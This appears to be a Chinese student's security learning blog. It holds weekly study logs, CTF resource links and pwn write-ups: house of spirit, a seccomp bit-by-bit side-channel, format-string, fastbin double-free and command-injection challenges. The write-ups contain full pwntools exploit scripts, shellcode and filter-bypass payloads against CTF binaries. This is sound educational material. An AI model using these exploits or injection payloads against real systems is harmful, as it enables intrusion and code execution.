成长之路—学习周报
2023年第一周(3.27-4.2)1.高级网络攻防练习题1(栈迁移、orw、ret2csu),简单学了下第二题堆的两个漏洞原理(largebinattack & poison null byte)
2.精读论文并准备pre的ppt
https://www.usenix.org/conference/usenixsecurity22/presentation/myung
3.补天10周年活动,志愿者、 制作学术道德视频
第二周(4.3-4.9)1.高级攻防writeup,主要练习规范和画图
2.虚拟化pre+分析博客
3.阅读分析malloc源码,分析largebin漏洞
4.栈迁移三道练习题目
5.读论文: MOZE(自动化堆风水)和一篇综述(内存安全)
Maze: Towards Automated Heap Feng Shui
SoK: Eternal War in Memory
6.做了一点但不多: 阅读afl源码、软件漏洞分析与挖掘作业,逆向题以及整合ppt、pwn一键搭建环境脚本
第三周(4.10-4.16)不要惧怕畏惧自己不擅长的,以及觉得自己不喜欢学的,比如AI,早晚可能会用到,所以该学还得学!!
1.精读论文,制作ppt和讲稿pre:自动化堆风水
https://www.usenix.org/conference/usenixsecurity22/presentation/myung
2.三道栈迁移博客 + 5道题练习
3.uaf学习和题目练习
4.计算机系统基础(一):程序的表示、转换与链接 看了四章节左右
第四周(4.17-4.23)1.红明谷杯+中国海洋大学ctf、月赛pwn出题
2.计算机基础看了两章节左右、csapp做了半章习题
3.移动安全作业,大概读了一下demo的代码
https://github.com/song-dev/device-info
第五周(4.24-4.30)这一周上到一半就开始准备五一出去玩了…导致干的活不是很多…
1.南大cs基础继续看,快看完了,csapp第三章做到一半多了
2.复习和学习了一下域渗透、Linux后门
3.移动安全作业,就简单的读懂了实现逻辑,添加了一个读取通讯录的功能
第六周(5.1-5.7)1.cpp学习了两章
2.学习了一点域渗透
3.做了一个csapp实验(二进制炸弹)
第七周(5.8-5.14)1.totolink T10 路由器 环境搭建 业务分析 漏洞复现
第八周(5.15-5.21)1.周六月赛,做了一天
寄……摆了一星期
第九周(5.22-5.28)1.过了音乐考试、游泳考试、软件漏洞分析与发现考试!
2.做了一点组里的活
第十周(5.29-6.4)1.高级网络攻防考试,以及学了一下offbyone,
2.dasctf 二进制专项比赛
第十一周(6.5-6.11)
pwn入门-0-学习资源及备忘仓库
[toc]
每日可看玄武实验室 sec.today
安全研究 GoSSIP 公众号每日推送
吾爱破解 https://www.52pojie.cn
看雪论坛 https://bbs.kanxue.com
v2ex 分享探索 社区 https://www.v2ex.com
资源整合和学习路径https://csdiy.wiki/ 北大学生总结的自学指南,非常好,融合了许多优质的公开课程和书籍
最近待看https://github.com/firmianay/CTF-All-In-One/tree/master 感觉作者有添加一些新的东西(相比那本书)
https://seedsecuritylabs.org/instructor_manual.html seedlab
https://nju-projectn.github.io/ics-pa-gitbook/ics2021/ 南大计算机基础实验
http://www.hackdig.com
https://www.bookstack.cn/read/webxiaohua-gitbook/README.md
https://hacklido.com/ 一个国外的网站, 有篇很励志的文章https://hacklido.com/blog/439-how-i-got-my-oscp-at-16-years-old
https://hsqstephenzhang.github.io/2022/02/10/linux/syscall/vdso/ 腾讯云容器团队的一个老哥的博客,感觉挺有意思
北理工那个团队网站
https://www.ooopn.com 一个工具网站
https://bbs.kanxue.com/thread-218617.htm 看雪 个人博客
https://hnusec.github.io/#/Stuff
国际知名战队的博客等
https://defcon.org/html/defcon-29/dc-29-speakers.html#fournier
https://blog.csdn.net/Breeze_CAT/article/details/103788631
https://wizardforcel.gitbooks.io/100-gdb-tips/content/call-func.html
https://www.52pojie.cn/thread-1399142-1-1.html
https://hack1s.fun/page/2/
http://javabin.cn 一个搞物联网的,感觉挺有意思
问题libc.so.6怎么用?
https://www.cnblogs.com/Taolaw/p/16281185.html
Glibc,libc gcc工作原理了解清楚
学习资源安全会议四大顶会
blackhat https://www.blackhat.com
https://www.blackhat.com/latestintel/
https://www.blackhat.com/html/archives.html
安全社区(可以没事多逛逛)玄武实验室 sec.today
吾爱破解 https://www.52pojie.cn
看雪论坛 https://bbs.kanxue.com
v2ex 分享探索 社区 https://www.v2ex.com
https://www.ctfiot.com chamd5的! 一个综合信息平台
学习网站CTFwiki(入门必看wiki): https://ctf-wiki.github.io/ctf-wiki/#/introduction
ctftime ctf各个比赛日程,很权威
buuctf https://buuoj.cn/
ctfshow https://ctf.show/challenges
ctfhub
CTFrank: https://ctfrank.org/
攻防世界 xctf官方: https://time.xctf.org.cn
i春秋 https://www.ichunqiu.com/competition
http://www.wechall.net/active_sites 一个ctf网站,同时也收录了很多学习网站
Tryhackme\hackthebox\
pwn专属pwn.college 由浅入深,一步一步,还有机器可以用!
https://pwnable.kr
http://pwnable.tw
重要比赛defcon https://defcon.org/html/defcon-30/dc-30-training.html
书籍《计算机安全导论:深度实践 (杜文亮) 》 很适合入门,讲的非常详细
《从0到1,CTFer的成长之路》
《CTF权威指南-PWN篇》
大佬博客https://xuanxuanblingbling.github.io xuanxuan和他对象的,记录了从小白到大神的一路,感觉写得非常好!
https://blingblingxuanxuan.github.io
https://hurricane618.me IIE学长的博客,有写自己的心路历程,感觉很不错,能从中看到一个人的成长
https://kiprey.github.io 清华网安硕士在读,博客深入浅出,良好的学习路线
https://blog.csdn.net/weixin_45209963?type=blog 天大pwn老哥的博客
计算机底层的秘密 https://github.com/webxiaohua/gitbook/blob/master/SUMMARY.md 这个合集不错
http://ifsec.blogspot.com/2018/02/so-you-want-to-work-in-security-and-for.html
https://bestwing.me/archives/page/14/
https://etenal.me/archives/1121 待看,这个也不错,这一篇是堆的
http://blog.imv1.me NeSE搞内核安全的大佬学长
https://eqqie.cn
https://github.com/kiprey/skr_Learning 一个非常不错的成长路线(每周更新),可以参考,
https://cjting.me 做的一些很深入的小研究,治愈系
https://trailofbits.github.io/ctf/
https://security.ntu.st/
https://github.com/BrieflyX/ctf-pwns
Atum
https://trailofbits.github.io/ctf/
https://security.ntu.st/
https://etenal.me/archives/972#C1
https://github.com/BrieflyX/ctf-pwns
https://y4er.com web
https://blog.flanker017.me
Eastmount(csdn)、娜璋ai安全之家(公众号):博士在读,研究AI、网络安全 https://blog.csdn.net/Eastmount
http://shell-storm.org 国外大佬,还有很多shellcode样本[http://shell-storm.org/shellcode/](
http://scz.617.cn:8 不知道是哪个大佬..
http://showlinkroom.me
https://eternalsakura13.com/
https://kiprey.github.io/
http://blog.eonew.cn/
http://ruanyifeng.com/blog/2018/02/docker-tutorial.html
CTF知名战队网站国科大-NeSE:https://nese.team
清华:https://redbud.info
复旦白泽战队:知乎、微信公众号
X1cT34m: https://ctf.njupt.edu.cn
SU:https://team-su.github.io
星盟:https://space.bilibili.com/489643272 有ctf培训课程 pwn已完结 、 微信公众号:星盟安全
天璇Merak: 微信公众号,有一些文章,更新较少
星盟 http://blog.xmcve.com
漏洞挖掘/分析工具angr
一些小工具:Compiler Explorer 在线应用层代码转汇编
在线运行汇编 https://www.tutorialspoint.com/compile_assembly_online.php
https://www.textcompare.org diff网站,比较各种内容的不同
https://gchq.github.io/CyberChef/ 解密解码工具
https://cloudconvert.com 在线格式转换
https://web.archive.org 查看历史网站记录
https://cloudconvert.com 各种文件的格式转换
https://www.ilovepdf.com pdf操作,切割等
ctf导航http://www.ctfiot.com. ChaMd5团队做的
https://ctf.mzy0.com
特定漏洞相关资源堆how2heap(github)
https://bbs.kanxue.com/thread-272416.htm#msg_header_h1_2
待整理资源https://blog.csdn.net/Breeze_CAT/article/details/103788631
其他查看系统调用
https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
系统调用参考\查看系统调用参数
https://syscalls64.paolostivanin.com
https://elixir.bootlin.com/linux/v5.19/C/ident/getname
macbook 快捷键
http://dragon-li.gitee.io/my-wiki/doc/mac/005-Mac下Iterm2使用及快捷键.html
解题模版
123456789101112131415161718from pwn import *context.log_level= "debug"context.arch='amd64' //sh = process("./ret2syscall")context.terminal = ['tmux', 'splitw', '-h']gdb.attach(sh,"break *0x8048e96")binsh = 0x080BE408edxecxebx = 0x0806eb90eaxret = 0x080bb196int80 = 0x08049421payload = b"a"*(108 + 4) + p32(eaxret) + p32(0xb) + p32(edxecxebx) + p32(0) + p32(0) + p32(0x080BE408)+p32(int80) sh.send(payload)sh.interactive()
1234567891011121314151617181920212223242526from pwn import *context.log_level= "debug"context.arch='amd64'io = process("./hacknote")def add(length,context): io.sendlineafter("choice","1") io.sendlineafter("size",str(length)) io.sendlineafter("Content",context)def delete(index): io.sendlineafter("choice","2") io.sendlineafter("Index",str(index))def Print(index): io.sendlineafter("choice","3") io.sendlineafter("Index",str(index))add(16,"aaa")add(16,"bbb")delete(0)delete(1)add(8,p32(0x08048986))Print(0)io.interactive()#io.recv(1024)
libc版本问题,需要换一下
2.27
[DEBUG] Received 0x29 bytes: b’free(): double free detected in tcache 2\n’
pwn入门-33-houseofspirit
这个东西蛮有意思,可以对内存中一块fastbin大小的不可控内存区域进行读写,但它需要满足两个条件
1.该区域的前后的内存是可控的
2.存在一个可控指针可以作为free函数的参数
how2heap的例子https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_spirit.c
确实需要画图,画图的话看得很清晰了就
LCTF 2016 pwn200 看一下有rwx段,可以写shellcode,本来是想打onegadget的,不过这种打法还需要泄露libc的地址
12345678root@VM-24-10-ubuntu:/home/ubuntu/heap/houseofsp# checksec pwn200[*] '/home/ubuntu/heap/houseofsp/pwn200' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
1234567891011121314151617181920__int64 sub_400A8E(){ __int64 i; // [rsp+10h] [rbp-40h] char v2[48]; // [rsp+20h] [rbp-30h] BYREF puts("who are u?"); for ( i = 0LL; i <= 47; ++i ) { read(0, &v2[i], 1uLL); if ( v2[i] == 10 ) { v2[i] = 0; break; } } printf("%s, welcome to xdctf~\n", v2); puts("give me your id ~~?"); sub_4007DF(); return sub_400A29();}
123456789101112131415161718192021222324252627int sub_4007DF(){ char nptr[8]; // [rsp+0h] [rbp-10h] BYREF int v2; // [rsp+8h] [rbp-8h] int i; // [rsp+Ch] [rbp-4h] v2 = 0; for ( i = 0; i <= 3; ++i ) { read(0, &nptr[i], 1uLL); if ( nptr[i] == 10 ) //换行 { nptr[i] = 0; //空字符 break; } if ( nptr[i] > 57 || nptr[i] <= 47 ) // 如果不是数字的话,就打印出来(只读取一个了就),如果是的话,跳过 { printf("0x%x ", (unsigned int)nptr[i]); return 0; } } v2 = atoi(nptr); if ( v2 >= 0 ) return atoi(nptr); else return 0;}
要先想办法泄露地址,输入回车的会被替换成0(就相当于字符串到最后了,被截断)
把前面修改为 0x40 fastbin大小,,然后进行free, 然后malloc获取到ret地址,然后就修改ret进行getshell
泄露地址 不要遗漏每一个函数和语句!
输入48个A泄露rbp
伪造chunk 这里是输入money那里,可以直接覆盖到ptr指针,把ptr覆盖了,覆盖成当前rbp的地址之前的某个位置,伪造chunk,free,然后再申请拿到这一块内存控制权限,然后就可以修改ret了,但是两个问题,
1.不知道libc的地址,知道的话,可以直接onegadget了,所以书中的解法是用了shellcode
2.伪造chunk的话,需要满足一定约束,也就是它相邻的chunk的size域和那几个标志位,这个可以通过之前的输入id来解决
可以看一下最终的效果图,很清晰
exp12345678910111213141516171819202122232425262728293031323334353637383940414243444546from pwn import *#io = remote('0.0.0.0', 10001)io = process('./pwn200')shellcode = asm(shellcraft.amd64.linux.sh(), arch='amd64')def leak(): global fake_addr global shellcode_addr payload = shellcode.rjust(48, b'A') io.sendafter("who are u?\n", payload) io.recvuntil(payload) rbp_addr = u64(io.recvn(6).ljust(8, b'\x00')) shellcode_addr = rbp_addr - 0x20 - len(shellcode) fake_addr = rbp_addr - 0x20 - 0x30 - 0x40 # make fake.size = 0x40 log.info("shellcode address: 0x%x" % shellcode_addr) log.info("fake chunk address: 0x%x" % fake_addr)def house_of_spirit(): io.sendlineafter("give me your id ~~?\n", '65') # next.size = 0x41 fake_chunk = p64(0) * 5 fake_chunk += p64(0x41) # fake.size fake_chunk = fake_chunk.ljust(0x38, b'\x00') fake_chunk += p64(fake_addr) # overwrite pointer io.sendafter("give me money~\n", fake_chunk) io.sendlineafter("choice : ", '2') # free(fake_addr) io.sendlineafter("choice : ", '1') # malloc(fake_addr) io.sendlineafter("long?", '48') payload = b"A" * 0x18 payload += p64(shellcode_addr) # overwrite return address payload = payload.ljust(48, b'\x00') io.sendafter("48\n", payload)def pwn(): io.sendlineafter("choice", '3') io.interactive()leak()house_of_spirit()pwn()
排错 自己写的exp一直有问题,有一大片后面的选择\n=======EASY HOTEL========\n1. check in\n2. check out\n3. goodbye\nyour choice :的输出
捣鼓半天是leak那里出问题了..一个回车引发的血案……….草……… 造成了后面一堆的错乱,为啥gdb里不影响呢?
这里要用send,因为存在offbyone,所以不需要回车,可以正好填满缓冲区,然后把rbp打印出来
12345def leak(): 14 global fake_addr,shellcode_addr 15 payload = shellcode.rjust(48,b'A') 16 p.recvuntil("who are u?\n") 17 p.send(payload)
感觉貌似就算输入48个字符和\n,也不会有影响呀,是影响了后面的东西吗,比如这个\n作为后面的输入了? 是的,是这样
是的,理论上48个字符后,下一个字符,会放到ebp-0x38,也就是刚才输入的who are u后面的前方(不信可以输入49个a试试)
1234.text:0000000000400B1F call sub_4007DF.text:0000000000400B24 cdqe.text:0000000000400B26 mov [rbp+var_38], rax.text:0000000000400B2A mov eax, 0
不正常的,不正常是因为\n被give you id读取了,然后65\n和give your money后面全乱了
正常的(伪造这个0x41的位置),释放后再申请,前面18个随便填充,然后就覆盖返回地址了
待整理 感觉貌似就算输入48个字符和\n,也不会有影响呀,是影响了后面的东西吗,比如这个\n作为后面的输入了? 是的,是这样
程序运行起来了,接入pid调试
,或者能不能直接看内存空间
Gdb attach本地进程进去
搞一搞pwntools,深入理解下
house_of_spirit 也有一个send
你的exp有问题…不过确实可以找一下其他的学一下
2.伪造chunk的话,需要满足一定约束,也就是它相邻的chunk的size域和那几个标志位,这个可以通过之前的输入id来解决
https://blog.csdn.net/sinat_35360663/article/details/128510319
后面有个总结不错
一个回车惹的祸…
pwn入门-32-defcon2017资格赛-mute
侧信道是个很有意思的东西…万物皆可侧信道…各种奇奇怪怪的方法
https://github.com/bannsec/CTF/tree/5e9bba7fa0f398257aae9f4754370aed647a079a/2017/DEFCON/mute
好多年前的defcon的题了,但现在来看也并不简单,一方面考察了脑洞,要想到侧信道的办法,另一方面要有比较深厚的计算机基础,比如了解系统调用,会写汇编,对汇编比较熟悉才能写出来exp.
程序分析1234567891011121314151617181920int __cdecl main(int argc, const char **argv, const char **envp){ FILE *v3; // rdi int v5; // [rsp+14h] [rbp-Ch] void *buf; // [rsp+18h] [rbp-8h] v5 = 0; buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL); puts("SILENCE, FOUL DAEMON!"); v3 = _bss_start; fflush(_bss_start); dropSyscalls(v3); while ( v5 != 4096 ) { v3 = 0LL; v5 += read(0, buf, 4096 - v5); } ((void (__fastcall *)(FILE *))buf)(v3); return 0;}
读取一段内容到buf,然后执行读取的内容,很明显,要读取一段shellcode,但是禁用了一些系统调用
123456789101112131415161718192021222324root@VM-24-10-ubuntu:/home/ubuntu/side# seccomp-tools dump ./muteSILENCE, FOUL DAEMON! line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x11 0xc000003e if (A != ARCH_X86_64) goto 0019 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x0e 0xffffffff if (A != 0xffffffff) goto 0019 0005: 0x15 0x0c 0x00 0x00000000 if (A == read) goto 0018 0006: 0x15 0x0b 0x00 0x00000002 if (A == open) goto 0018 0007: 0x15 0x0a 0x00 0x00000003 if (A == close) goto 0018 0008: 0x15 0x09 0x00 0x00000004 if (A == stat) goto 0018 0009: 0x15 0x08 0x00 0x00000005 if (A == fstat) goto 0018 0010: 0x15 0x07 0x00 0x00000006 if (A == lstat) goto 0018 0011: 0x15 0x06 0x00 0x00000007 if (A == poll) goto 0018 0012: 0x15 0x05 0x00 0x00000008 if (A == lseek) goto 0018 0013: 0x15 0x04 0x00 0x00000009 if (A == mmap) goto 0018 0014: 0x15 0x03 0x00 0x0000000a if (A == mprotect) goto 0018 0015: 0x15 0x02 0x00 0x0000000b if (A == munmap) goto 0018 0016: 0x15 0x01 0x00 0x0000000c if (A == brk) goto 0018 0017: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0019 0018: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0019: 0x06 0x00 0x00 0x00000000 return KILL
诶 不是有execve吗,不能getshell吗
exp 思路是有的,但是编写exp就比较头疼,汇编比较渣,总之一步步来,先open read然后读每个字节,然后比较,(pwncollege好好打打基础!)
1234567891011121314151617181920212223242526272829303132333435363738394041424344from pwn import *context.update(arch='amd64', os='linux', log_level='ERROR') # 这个必须加,不然shellcraft没法正确识别指令集flag = ""for i in range(15): # flag的位数,不知道就可以多写点 c = 0 # 存储字符的ascii码 for j in range(8): # 一个字符8位 循环每一位 p = process("./mute") p.readline() shellcode = shellcraft.open("./flag",constants.O_RDONLY,None) # 打开文件 shellcode += pwnlib.shellcraft.amd64.mov("r8","rax") # 把句柄给r8 shellcode += pwnlib.shellcraft.amd64.lseek("r8",i,0) # lseek 读写文件偏移量,这个就是说,一个字节一个字节读, shellcode += pwnlib.shellcraft.amd64.read("r8","rsp",1) # 把内容读取1字节,读到rsp上 shellcode += ''' movzx eax, BYTE PTR [rsp] #把rsp指向的地址处的要比较的字符读取到al中,0扩展到eax movsx edx,al # 把要比较的字符放到edx中 mov eax,%s #把变量放到eax中,就是循环变量 j ,以此循环每个位,一共8位 mov ecx,eax # 把变量放到ecx sar edx,cl # 右移 cl位 mov eax,edx and eax,1 test eax,eax # and运算、测试是1还是0 je .L2 # jz的别名,如果是0,跳转L2 .L3: jmp .L3 .L2: leave ret ''' % j # 这个是填充%s变量的 shellcode = asm(shellcode) p.send(shellcode+b"\0"*(0x1000-len(shellcode))) try: p.recv(timeout=1) # 1,移位然后或,把新的一位设置为1 c = (c>>1) | 128 # 0000 0000 1000 0000 f 0x66 0b1100110 except EOFError: # 0 , leave ret后EOFError c = c>>1 sys.stdout.write(chr(c)) flag += chr(c) sys.stdout.flush()print(flag)
汇编分析1234567891011121314151617181920212223242526272829303132333435363738394041/* open(file='flag', oflag=0, mode=0) */ /* push b'flag\x00' */ push 0x67616c66 mov rdi, rsp xor edx, edx /* 0 */ xor esi, esi /* 0 */ /* call open() */ push SYS_open /* 2 */ pop rax syscall mov r8, rax # 返回值,句柄, /* lseek(fd='r8', offset=0, whence=0) 这是第一次,偏移为0*/ mov rdi, r8 xor edx, edx /* 0 */ xor esi, esi /* 0 */ /* call lseek() */ push SYS_lseek /* 8 */ pop rax syscall /* call read('r8', 'rsp', 1) */ xor eax, eax /* SYS_read */ mov rdi, r8 push 1 pop rdx mov rsi, rsp syscall # 系统调用号是0 前面xor即可 movzx eax, BYTE PTR [rsp] movsx edx, al mov eax, 0 mov ecx, eax sar edx, cl mov eax, edx and eax, 1 test eax, eax je .L2 .L3: jmp .L3 .L2: leave ret
调试调试的话,可以直接pwntools+gdb调,也可以写段汇编自己调试
接收字符分析12345try: p.recv(timeout=1) # 收到消息了,是1,移位然后或,把新的一位设置为1 c = (c>>1) | 128 # 0000 0000 1000 0000 f 0x66 0b1100110except EOFError: # 0 c = c>>1
以接收f的过程为例, f是 0b01100110
12345678910root@vultr:~/side# python3 1.py0b00b100000000b110000000b11000000b1100000b100110000b110011000b1100110f
上面是直接print(bin(c))打印的每次的输出结果,其实不是很好看,补全后就明朗了,就是每次接收一个字符都会往后移动一位,然后前面的就是新的一位
0b000000000b100000000b110000000b011000000b001100000b100110000b110011000b01100110
刚开始一直不明白是0还是1的时候才会接收到消息,也就是说是,leave;ret;会接收到消息,还是一直jmp会接收到消息,现在看结果是一直jmp会接收到消息,这是为什么呢?
嘶,感觉其实不是接收到了消息,而是时间到了后,也没有报错,就继续往下执行了,但如果是0的话,就会exit退出,然后EOFError,1的话接收时间过了,就执行下面代码了.
留的小尾巴了解一下怎么调试汇编吧..直接编写汇编代码调试
还没用时间侧信道来做呢…
pwn入门-31-DASCTF六月二进制专项-1
和哥几个打的这个比赛,虽然只做出了几道题,但是还有几道其实也都差不多了,思路都没问题,还是因为细节的问题,对原理的掌握不够深入导致的问题,还得再好好打基础和巩固.
fooooood 这道格式化字符串题给自己整的太恶心了..主要是很久不做格式化字符串了,然后当时理解的没那么深入,有些小问题就卡死了…
非栈上的格式化字符串利用, 看到一种方法是可以利用栈上已有的指针,当时也用了,不过不知道为什么利用格式化字符串写数据的时候有问题….回头再专门学一下
这是一条可以利用的链
感觉自己的思路是没有问题的,但是对格式化字符串的一些利用的小点不是很熟悉,就导致了问题
exp 主要分了几部分,先把for循环的i改大一点,因为要循环很多次,然后还要地址泄露,再之后呢,写一个格式化字符串的替换函数,把返回地址修改了就可以了
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162from pwn import *context(os='linux',log_level='debug')libc = ELF('/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')io = process("./pwn")context.terminal = ['tmux', 'splitw', '-h']gdb.attach(io)io.recvuntil("Give me your name:")io.sendline("test")io.recvuntil("favourite food: ")io.sendline("%11$p")io.recvuntil("You like ")#data = (io.recvline().strip()).decode().split('.')rsp = int(io.recvuntil('!?')[:-2],16)-248print(hex(rsp))i = rsp+4i_off = i&0xffffprint(hex(i_off))payload = b'%'+str(i_off).encode()+b'c%11$hn'print(payload)io.sendlineafter('food: ',payload)payload = b'%'+str(40).encode()+b'c%37$hhn'sleep(1)io.sendlineafter('food: ',payload)# 泄露libcpayload = b'%9$p'io.sendlineafter('food: ',payload)io.recvuntil("You like ")libc.address = int(io.recvuntil('!?')[:-2],16) - 240- libc.sym.__libc_start_main#简单的格式化字符串利用函数,将dest地址的后8字节循环更改成ptr对应的字节,off1与off2为上述 (1)与(2)两个栈地址在格式化字符串中的偏移def overlap(dest,ptr,off1,off2): d = dest&0xff for i in range(8): if not ptr: break payload=b'%'+str(d).encode()+b'c%'+str(off1).encode()+b'$hhn' io.sendlineafter('food: ',payload) f=ptr&0xff payload=b'%'+str(f).encode()+b'c%'+str(off2).encode()+b'$hhn' io.sendlineafter('food: ',payload) d+=1 ptr>>=8ret=rsp+0x18ptr=libc.address+0x21112payload = b'%'+str(ret&0xffff).encode()+b'c%'+str(25).encode()+b'$hn'io.sendlineafter('food: ',payload)pause()# 覆盖返回地址overlap(ret,ptr,25,39)overlap(ret+8,libc.search(b'/bin/sh').__next__(),25,39)overlap(ret+16,libc.sym.system,25,39)io.sendlineafter('food: ',payload)io.interactive()
自己之前的exp..回头检查下是哪的问题
12345678910111213141516171819202122232425262728293031323334353637from pwn import *context(os='linux',log_level='debug')mylibc = ELF('/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')io = process("./pwn")context.terminal = ['tmux', 'splitw', '-h']gdb.attach(io)io.recvuntil("Give me your name:")io.sendline("test")io.recvuntil("favourite food: ")io.sendline("%31$p.%21$p")io.recvuntil("You like ")data = (io.recvline().strip()).decode().split('.')print(data)#pause()#libc_addr = int(data[3],16)-0x20840first_addr = int(data[0],16)print(hex(first_addr))#pause()#print(hex(libc_addr))#print(hex(ret_addr))#onegadget = libc_addr + 0x45226#pause()payload = fmtstr_payload(31,{0x7fffff:0x7fffff})print(payload)#payload = b"%58248c%31$n"payload = b"%.26204x%30$n"#pause()io.recvuntil("favourite food: ")io.sendline(payload)io.recvuntil("You like ")pause()io.interactive()
存储备忘的信息
%10$p.%15$p.aaa
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
0x7fffffffbdc0.0x7ffff7dd3780.0x7ffff7b043c0.0x7ffff7ff6700.0x9.0x1ffffe540.0xc144e077e3cf5200.0x555555554b60.0x7ffff7a2d840.(nil).37
为什么不按顺序了…
0x7fffffffbdc0.0x7ffff7dd3780.0x7ffff7b043c0.0x7ffff7ff6700.0x9.0x3ffffe540.0xb1fb67251108900.0x555555554b60.0x7ffff7a2d840.(nil).0x7fffffffe548test’
%12$p.%13$p.%14$p.%15$p.aaa
0x1f7ffcca0.0x555555554a67.(nil).0x7da3d3a4544d517e.aaa37
%16$p.%17$p.%18$p.%19$p.aaa
x555555554820.0x7fffffffe540.(nil).(nil).aaa
%20$p.%21$p.%22$p.%23$p.aaa
0x4f7197cdb841edfc.0x4f718777df51edfc.(nil).(nil).aaa
%24$p.%25$p.%26$p.%27$p.aaa
(nil).0x7fffffffe558.0x7ffff7ffe168.0x7ffff7de780b.aaa
%28$p.%29$p.%30$p.%31$p.aaa
(nil).(nil).0x555555554820.0x7fffffffe540.aaa
%32$p.%33$p.%34$p.%35$p.aaa
(nil).0x555555554849.0x7fffffffe538.0x1c.aaa
%36$p.%37$p.%38$p.%39$p.aaa
0x1.0x7fffffffe79c.(nil).0x7fffffffe7ba.aaa
0x7fffffffe388
0xffffe388
0xe388
11个位置 -0xd0
https://blog.csdn.net/qq_52877079/article/details/129756543
https://www.anquanke.com/post/id/184717
easynote 简单的一道菜单堆题,看的时候很眼熟很眼熟,果然是之前做过的,只是稍微改动
https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/02/paper/
开启了pie,那就用largebin smallbin的main_arena来泄露地址,
这里有个小坑,就是接收返回地址的时候一直接收不到,注意这是因为先接收到了\n,用recv应该是接收到\n为止? 所以可以用多个recv或者recvuntil,
malloc有检测,回头分析源码的时候可以具体看看
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455from pwn import *elf = "./pwn"context.log_level= "debug"p = process(elf)#p = remote("node4.buuoj.cn",25350)context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)def add(size,content): p.sendlineafter('5. exit', '1') p.sendlineafter('The length of your content --->', str(size)) p.sendlineafter('Content --->', content)def edit(index, size,content): p.sendlineafter('5. exit', '2') p.sendlineafter('Index --->', str(index)) p.sendlineafter('The length of your content --->', str(size)) p.sendlineafter('Content --->', content)def show(index): p.sendlineafter('5. exit', '4') p.sendlineafter('Index --->', str(index))def delete(index): p.sendlineafter('5. exit', '3') p.sendlineafter('Index --->', str(index))add(0x30,"aaa")add(0x30,"bbb")delete(0)delete(1)delete(0)add(0x50,"xielu")add(0x100,"dizhi") # 3 泄露地址用add(0x50,"hebing") # 防止合并delete(3)show(3)p.recvuntil("Content: ")libc_addr = u64(p.recv(6).ljust(8,b"\x00")) - 0x3c4b78print(hex(libc_addr))# fastbin double free修改add(0x30,p64(0x602022))add(0x30,"a")add(0x30,"b")#pause()add(0x30,b"\x40\x00\x00\x00\x00\x00"+p64(libc_addr+0x4527a))p.interactive()
server 当时做的时候没想到栈的重叠的问题,单纯过滤肯定是没戏的.咋说捏,只会一些传统的套路是不行的,那只是基础,要在此之上更上一个纬度,看清事物的本质,学会变通才能应对更复杂的情况.
对此题的反思就是,首先还是基础,要打好基础,打好操作系统原理的基础,如果懂这个的话,估计其实很容易想到重叠的问题.然后再培养细心以及一些自动化工具帮你寻找类似的点.
思路一 access校验的长度有限,为32
1234567snprintf(name, 0x20uLL, "/keys/%s.key", s);这个长度是27,加上/keys就是32了../../../../../././bin/sh # /keys/../../../../../././bin/sh 最后access的是这个文件,肯定是存在的
然后就是命令拼接了,存在未初始化漏洞,栈上有残留数据
第二次输入个单引号就好了, \n也可以作为命令分隔符,所以前面那个add_user -u ‘’就是没用的了,直接执行后面的/bin/sh了
过滤 ; & ` | $ 空格 ( ) {} - / \
这个不用写脚本,
123456789101112第一次选1,输入../../../../../././bin/sh #然后选2,输入'然后就闭合了,就可以getshell了 "add_user -u '%s' -p '888888'" ► 0x555555555748 call system@plt <system@plt> command: 0x7fffffffe410 ◂— "add_user -u ''\n/bin/sh #' -p '888888'"
思路二1'\ncat\tfl*\n
这里也用到覆盖了,看exp就可以理解了,exp的12就是随便输入的,后面的’\n会替代
过滤的空格可以用\t替代
12345678910111213141516171819202122232425262728293031from pwn import *elf = "./pwn_7"context.log_level= "debug"p = process(elf)#p =remote("node4.buuoj.cn", 25471)context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)p.recvuntil("Your choice >>")p.sendline("1")p.recvuntil("Please input the key of admin : ")p.sendline(b"../../../../../../../../../")print(p.recv())p.recvuntil("Your choice >>")p.sendline("2")p.recvuntil("Please input the username to add :")payload = b"xxcat\tfl*\n"p.sendline(payload)p.recv(1024)p.recv(1024)p.recvuntil("Your choice >>")p.sendline("2")p.recvuntil("Please input the username to add :")payload = b"'"p.sendline(payload)print(p.recv(1024))print(p.recv(1024))p.interactive()
能不能’cat\tfl*\n呢,不能呀,,需要有个\n,但是没有,也没有; 没有分隔符没办法执行两条命令,这个必须要\n的 \t不行吗,不行…….
https://blog.51cto.com/u_15400016/4287727
https://www.secpulse.com/archives/96374.html
问题用recv应该是接收到\n为止? 所
固件模拟工具firmae安装
因为最近在做iot相关的漏洞复现,搭建环境是很重要的一环,qemu可以直接搭建,但有时候一些细节会导致一些问题,所以firmae是一个集成化的工具,可以帮助一键搭建环境.
但是安装这个工具的时候..又发生了奇奇怪怪的问题…记录一下.. 搞计算机遇到报错太正常了,但同样也是非常搞人心态的,学会如何排错,如何利用搜索引擎(包含chatgpt!)来解决问题是很重要的一个能力!
有一说一,能真机还是最好别虚拟… 当然没有那么多钱、也不一定能买到,虚拟也是不错的
工具地址:https://github.com/pr0v3rbs/FirmAE
搭建环境:ubuntu18
123git clone --recursive https://github.com/pr0v3rbs/FirmAE./download.sh # 就是一个下载脚本,单纯的download..(国内服务器买香港的,或者用国外的..或者..../install.sh
然后报错了…一堆红…
